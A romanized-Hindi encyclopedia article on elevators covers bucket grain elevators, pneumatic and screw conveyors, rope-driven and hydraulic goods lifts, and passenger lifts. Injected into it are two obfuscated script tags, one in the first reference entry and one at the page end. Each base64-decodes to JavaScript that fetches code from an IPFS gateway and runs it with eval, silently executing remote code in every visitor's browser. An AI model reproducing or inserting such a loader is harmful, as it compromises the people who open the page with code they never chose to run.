उच्चालित्र
uchchalitr athava (elevator) elivetar un yantroan ko kahate haian jo anaj, any mal tatha yatriyoan ko niche oopar pahuanchate haian.
dhany ke uchchalitr - anaj ke uthane aur rakhane ki yaantrik ritiyoan mean se ek, jo ab bhi sarvadhik prayog mean ati hai, dolavale uchchalitr ki hai. isamean mote gadhe ya kainavas ke patte par 10 se 18 ianch ki doori par dhatu ke chhote-chhote dol bandhe rahate haian. patta oordhvadhar athava pray: urdhvadhar rahata hai. oopari tatha nichale siroan par ek-ek b di ghirani ya pahiya rahata hai, jisapar poorvokt patta chadha rahata hai. patta aur ghirani ke bich paryapt gharshan ke lie patte par rabar chadha rahata hai. uchchalitr ke nichevale bhag mean bane ek gadhe mean se chalate hue patte ke dol anaj utha lete haian aur use oopari sire par jakar gira dete haian. jaise hi anaj uchchalitr ke oopari sire par pahuanchata hai, apakeandr badal use ek brihatkay kip mean pheank deta hai. yahaan se prithvi ka gurutvakarshan use b de vyas ke naloan tatha dhaloo nadiyoan dvara sangrah ke upayukt khattoan ya bhaandoan mean pahuancha deta hai.
anaj ko kisi bhi bean di athava kh di disha mean le jane ki nee riti yah hai ki vayudhara ka prayog kiya jae. isamean dhatu ki dridh pankhiyoanvala pankha rahata hai. isi par anaj dala jata hai. pankha vayu ki dhara ke sath anaj ko bhi age dhakel deta hai. pankhoan ka prayog mukhyat: krishi ke pharmoan par athava aise chhote kamoan ke lie hota hai jahaan dhool uthaoo yantr ki avashyakata rahati hai. pankhe ke prayog mean hani yah hai ki vah dhool u data hai, usamean bhath jane ki pravritti rahati hai tatha usaki pankhiyaan anaj ke danoan ko bahudha to d deti haian.
chhote ya sankuchit sthanoan mean athava tho di doori ke lie peanch ke roop vale uchchalitr ka vyavahar kiya jata hai. khokhale gol belan ke bhitar kuantalakar ek phal hota hai. is phal ke ghoomane ke sath-sath anaj bhi age badhata hai. anaj ki kshaitij gati ke lie yah thik kam deta hai, kiantu kh di athava pray: kh di disha mean anaj ko chadhane ke lie isamean bahut bal lagane ki avashyakata hoti hai aur isalie yah anupayogi siddh hua hai.
pichhale kee varshoan se, naukaoan tatha jahajoan aur, isase bhi abhinav kal mean, reloan se anaj utarane tatha oopar niche pahuanchane ke lie hava se kam liya jata hai. lachile naloan se kam lekar is vidhi ka prayog vividh karyoan mean kiya ja sakata hai. yadyapi isake upayog mean adhik bal ki avashyakata hoti hai aur anaj ki gati simit hoti hai, to bhi any uchchalitroan ki apeksha isamean anek gun haian.
chitr : hapud ka ann uchchalitr tatha sangrahabhaand
hava se chalane vali mashinoan ka hriday ek panp hota hai jo ya to pistan ke age pichhe chalane se athava keval vegapoorvak ghoomate rahane se kam karata hai. yah yantr un naloan se, jinaka mukh anaj ke bhitar dooba rahata hai, vayu nikal leta hai. tab naloan ke mukh se, jinamean anaj ke sath atirikt vayu ke pravesh ke lie alag marg rahata hai, hava tatha anaj sath-sath oopar chadhate haian. 200px|left
k. veg niyantrak; kh. talla niyantrak; g. motar; gh. sanyamak; n . marg parivartan karanevali ghirani;
ch. uttolit karanevali rajju; chh. ispat ka bana sanchalak patta; j. margadarshak balan; jh.
rokanevala bijali ka batan (svich); sima nirdharak svich; t. samatal karanevala svich; th. dvaraparichalak; d.yan ka dibba; dh. yanarakshak; n. yan margadarshak
patariyaan; t. rokanevale svich ka kam; th. pratibhar; d. margadarshak belan,
dh. pratibhar ki margadarshak patariyaan; n. pratibhar sanghatamah; p. aantim
sima ki svich; ph. yan ke dibbe ka sanghatasah; b. tanav ghatane
badhane ki ghirani.
anaj ke uthane rakhane ki mashinoan se kam lete samay anaj ki dhooli se visphot hone ki ashanka par dhyan rakhana avashyak hai.
mal tatha yatriyoan ke uchchalitr-is varg ke yantroan mean mal pahuanchane ka kary aviram n hokar ruk rukakar hota rahata hai. is prakar ka uchchalitr bhar ko samay-samay par oopar niche karata rahata hai. bhar rakhane ke lie ek chauki tatha use oopar niche chalane ke lie rassi ya jalasanchalit (haidr aaulik) yantr hota hai. chauki ek chaukor ya gol ghar mean oopar niche chalati hai jise koopak (shaipht) kahate haian.
rassi se chalanevale mal ke uchchalitroan ko do mukhy vargoan mean vibhajit kiya ja sakata : (1) laghukaryaksham tatha (2) gurukaryaksham. laghu karyaksham uchchalitr 20 se 30 man ki samarthy ke, 25 phut prati minat ki gativale tatha 35 phut ooanchaee tak kary karanevale hote haian. in uchchalitroan ke sab bhagoan ki rachana sadharan avashyakata se kahian adhik dridh hoti hai aur inamean batan dabane par kary karanevale sthir-dab-niyantrak, bhavan ke pratyek tal par tatha chalanevali chauki mean bhi, lage rahate haian. yadi niche utarate samay gati atyadhik ho jae to yan mean svat:chalit gatiniyantrak-suraksha-yantr kam karane lagate haian. chauki ke praranbhik aur aantim sthanoan par sima sthir karanevale khatake tatha suraksha ke any upay bhi rahate haian. aise yantroan ki ek visheshata yah hai ki chauki ko chalanevala yantr uchchalitr ke peande ke pas rahata hai. isalie oopar kisi avalanb ya chhat ki avashyakata nahian hoti.
rassivale gurukaryaksham uchchalitr visheshakar motar trakoan par kam karane ke lie banae jate haian. ve itane pusht banae jate haian ki bhar se hanevale sab prakar ke jhatake adi sah sakean. inake sab niyantrak (kantrol) poorn roop se svayanchalit hote haian aur inaka prayog trak ka draivar athava any koee karmachari kar sakata hai. yatayat marg ke kuchh sthanoan par, sir se oopar lage aur batan dabane par kary karanevale niyantrakoan, se yah bat sanbhav ho jati hai. jahaan avashyakata hoti hai vahaan aisa prabandh bhi rahata hai jisake dvara koee anuchar bhi niyantran kar sakata hai. jahaan bhavan bahut ooancha ho tatha mal shighr chadhane ki avashyakata ho vahaan ke lie rassi ki sahayata se kary sanpadit karanevale uchchalitr vishesh upayogi hote haian.
jalachalit uchchalitr jalachalit uchchalitroan ka upayog niche bhavanoan mean hota hai jahaan bojh bahut bhari rahata hai aur tivr gati ki avashyakata nahian rahati. in uchchalitroan ke kary mean dab mean p de drav se kam liya jata hai. aise upakaranoan ke nirmata dava karate haian ki jalachalit uchchalitr ki chauki par bhari bojh ladane par chauki niche ki or nahian bhagati kyoanki usaka adhar tel ka ek asanpidaniy stanbh hota hai. ve is prakar ke yantroan mean nimnaankit any gun bhi batate haian : inake lie kisi chhat ki avashyakata nahian p dati; inaka koopakamarg khula aur isalie suprakashit rahata hai; chauki bina jhatake ke chalana aranbh karati aur rukati hai; jahaan rokana chahean thik vahian rukati hai; aur mashin ko achchhi dasha mean banae rakhane mean vyay kam hota hai.[1]
yatriyoan ke lie bane uchchalitroan ki rachana bhi bojh dhonevale uchchalitroan ki hi tarah hoti hai. keval inamean suraksha ki kuchh adhik yuktiyaan rahati haian tatha inake roop aur yatriyoan ki sukh suvidha par vishesh dhyan diya jata hai.[2]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 55 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-di.o. heanz : maitiriyal haiandaliang ikvipameant, (chittan kanpani, phhऱladelfiya); immar : maitiriyal haiandaliang (maikgra hil buk kanpani iankaraporeted).
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>